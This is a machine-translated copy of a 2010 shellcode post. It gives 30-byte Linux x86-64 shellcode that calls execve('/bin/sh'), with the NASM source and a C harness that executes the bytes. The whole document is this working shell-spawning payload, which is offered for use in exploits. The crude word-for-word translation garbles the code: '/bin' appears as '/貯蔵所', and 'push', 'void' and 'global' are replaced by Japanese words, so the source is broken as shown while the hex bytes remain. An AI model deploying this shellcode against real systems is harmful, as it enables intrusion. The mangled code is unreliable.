このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86-64 - execve(/貯蔵所/sh); - 30 bytes
# Linux/x86_64 execve("/貯蔵所/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# 実験(する)d on: x86_64 Debian GNU/Linux
 
/*
    ; execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL)
 
    section .text
            全世界の _start
 
    _start:
            xor     rdx, rdx
            mov     qword rbx, '//貯蔵所/sh'
            shr     rbx, 0x8
            押し進める    rbx
            mov     rdi, rsp
            押し進める    rax
            押し進める    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
*/
 
int main(無効の)
{
    char shellcode[] =
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov	$0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // 押し進める   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // 押し進める   %rax
    "\x57"                                          // 押し進める   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall
 
    (*(無効の (*)()) shellcode)();
     
    return 0;
}